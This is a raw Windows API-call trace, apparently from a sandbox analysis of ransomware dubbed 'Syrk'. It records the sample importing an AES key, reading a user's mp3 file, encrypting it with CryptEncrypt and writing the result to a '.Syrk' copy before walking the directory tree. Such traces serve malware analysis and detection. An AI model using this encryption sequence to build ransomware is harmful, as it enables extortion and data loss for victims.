(param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0242.483] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.484] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0242.484] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0242.484] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.484] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0242.484] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.484] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0242.484] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0242.484] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.484] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0242.484] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.484] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0242.485] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0242.485] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0242.485] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0242.485] SystemFunction041 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.485] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0242.485] SystemFunction040 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.485] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0242.485] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0242.485] SystemFunction041 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.485] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0242.486] SystemFunction040 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.486] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0242.486] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0242.486] SystemFunction041 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.486] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0242.486] SystemFunction040 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.486] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0242.486] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0242.486] SystemFunction041 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.486] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0242.486] SystemFunction040 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.487] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0242.487] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0242.487] SystemFunction041 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.487] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0242.487] SystemFunction040 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.487] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0242.487] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0242.487] SystemFunction041 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.487] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0242.487] SystemFunction040 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.487] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0242.487] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0242.487] SystemFunction041 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.488] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0242.488] SystemFunction040 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.488] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0242.488] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0242.488] SystemFunction041 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.488] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0242.488] SystemFunction040 (in: Memory=0x5c9b18c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b18c) returned 0x0 [0242.488] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0242.488] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0242.488] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0242.489] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0242.489] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0242.489] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0242.489] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0242.489] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0242.489] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0242.489] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0242.489] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0242.489] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0242.490] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0242.490] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0242.490] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0242.490] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0242.490] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0242.490] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0242.490] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0242.490] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0242.490] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0242.490] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0242.490] EtwEventActivityIdControl () returned 0x0 [0242.491] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0242.491] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0242.491] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0242.491] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0242.493] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x373f80) returned 1 [0242.494] CryptImportKey (in: hProv=0x373f80, pbData=0x2367780*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c68d40) returned 1 [0242.494] CryptContextAddRef (hProv=0x373f80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.495] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.495] EtwEventActivityIdControl () returned 0x0 [0242.495] EtwEventActivityIdControl () returned 0x0 [0242.495] EtwEventActivityIdControl () returned 0x0 [0242.502] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\tjl0lg.mp3")) returned 0x20 [0242.504] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\tjl0lg.mp3")) returned 0x20 [0242.504] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0242.504] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", nBufferLength=0x48, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", lpFilePart=0x0) returned 0x47 [0242.505] EtwEventActivityIdControl () returned 0x0 [0242.505] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.505] EtwEventActivityIdControl () returned 0x0 [0242.505] EtwEventActivityIdControl () returned 0x0 [0242.505] EtwEventActivityIdControl () returned 0x0 [0242.511] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0242.511] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", nBufferLength=0x48, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", lpFilePart=0x0) returned 0x47 [0242.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0242.511] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\tjl0lg.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0242.512] GetFileType (hFile=0x454) returned 0x1 [0242.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0242.512] GetFileType (hFile=0x454) returned 0x1 [0242.512] EtwEventActivityIdControl () returned 0x0 [0242.512] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.513] EtwEventActivityIdControl () returned 0x0 [0242.513] EtwEventActivityIdControl () returned 0x0 [0242.513] EtwEventActivityIdControl () returned 0x0 [0242.514] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0242.514] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3.Syrk", nBufferLength=0x4d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3.Syrk", lpFilePart=0x0) returned 0x4c [0242.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0242.514] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\tjl0lg.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d4 [0242.516] GetFileType (hFile=0x1d4) returned 0x1 [0242.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0242.516] GetFileType (hFile=0x1d4) returned 0x1 [0242.516] EtwEventActivityIdControl () returned 0x0 [0242.516] CryptGenRandom (in: hProv=0x373f80, dwLen=0x10, pbBuffer=0x237bd28 | out: pbBuffer=0x237bd28) returned 1 [0242.518] CryptContextAddRef (hProv=0x373f80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.518] CryptDuplicateKey (in: hKey=0x5c68d40, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c68e80) returned 1 [0242.518] CryptContextAddRef (hProv=0x373f80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.518] CryptSetKeyParam (hKey=0x5c68e80, dwParam=0x4, pbData=0x237d060*=0x1, dwFlags=0x0) returned 1 [0242.518] CryptSetKeyParam (hKey=0x5c68e80, dwParam=0x1, pbData=0x237d02c, dwFlags=0x0) returned 1 [0242.518] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.519] EtwEventActivityIdControl () returned 0x0 [0242.519] EtwEventActivityIdControl () returned 0x0 [0242.519] EtwEventActivityIdControl () returned 0x0 [0242.520] EtwEventActivityIdControl () returned 0x0 [0242.520] ReadFile (in: hFile=0x454, lpBuffer=0x237fc9c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x237fc9c*, lpNumberOfBytesRead=0x5a2e7d8*=0x14000, lpOverlapped=0x0) returned 1 [0242.522] CryptEncrypt (in: hKey=0x5c68e80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2393cb4*, pdwDataLen=0x5a2e7cc*=0x14000, dwBufLen=0x14000 | out: pbData=0x2393cb4*, pdwDataLen=0x5a2e7cc*=0x14000) returned 1 [0242.524] WriteFile (in: hFile=0x1d4, lpBuffer=0x237be10*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x237be10*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0242.525] WriteFile (in: hFile=0x1d4, lpBuffer=0x2394ca0*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2394ca0*, lpNumberOfBytesWritten=0x5a2e7b0*=0x13014, lpOverlapped=0x0) returned 1 [0242.527] ReadFile (in: hFile=0x454, lpBuffer=0x237fc9c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x237fc9c*, lpNumberOfBytesRead=0x5a2e7d8*=0x400a, lpOverlapped=0x0) returned 1 [0242.527] CryptEncrypt (in: hKey=0x5c68e80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a7ccc*, pdwDataLen=0x5a2e7cc*=0x4000, dwBufLen=0x4000 | out: pbData=0x23a7ccc*, pdwDataLen=0x5a2e7cc*=0x4000) returned 1 [0242.528] WriteFile (in: hFile=0x1d4, lpBuffer=0x23a7ccc*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23a7ccc*, lpNumberOfBytesWritten=0x5a2e7b0*=0x4000, lpOverlapped=0x0) returned 1 [0242.528] ReadFile (in: hFile=0x454, lpBuffer=0x237fc9c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x237fc9c*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0242.528] CryptEncrypt (in: hKey=0x5c68e80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23abcd8*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23abcd8*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0242.528] CryptEncrypt (in: hKey=0x5c68e80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23abcf4*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23abcf4*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0242.528] WriteFile (in: hFile=0x1d4, lpBuffer=0x237be10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x237be10*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0242.528] CloseHandle (hObject=0x1d4) returned 1 [0242.531] CloseHandle (hObject=0x454) returned 1 [0242.531] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.532] EtwEventActivityIdControl () returned 0x0 [0242.532] EtwEventActivityIdControl () returned 0x0 [0242.532] EtwEventActivityIdControl () returned 0x0 [0242.539] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\tjl0lg.mp3")) returned 0x20 [0242.541] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0242.541] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", nBufferLength=0x48, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", lpFilePart=0x0) returned 0x47 [0242.542] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0242.542] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0242.542] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0242.542] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0242.542] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0242.542] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0242.543] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0242.543] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0242.543] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0242.543] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0242.543] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0242.543] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0242.543] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0242.543] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0242.544] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0242.544] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0242.544] 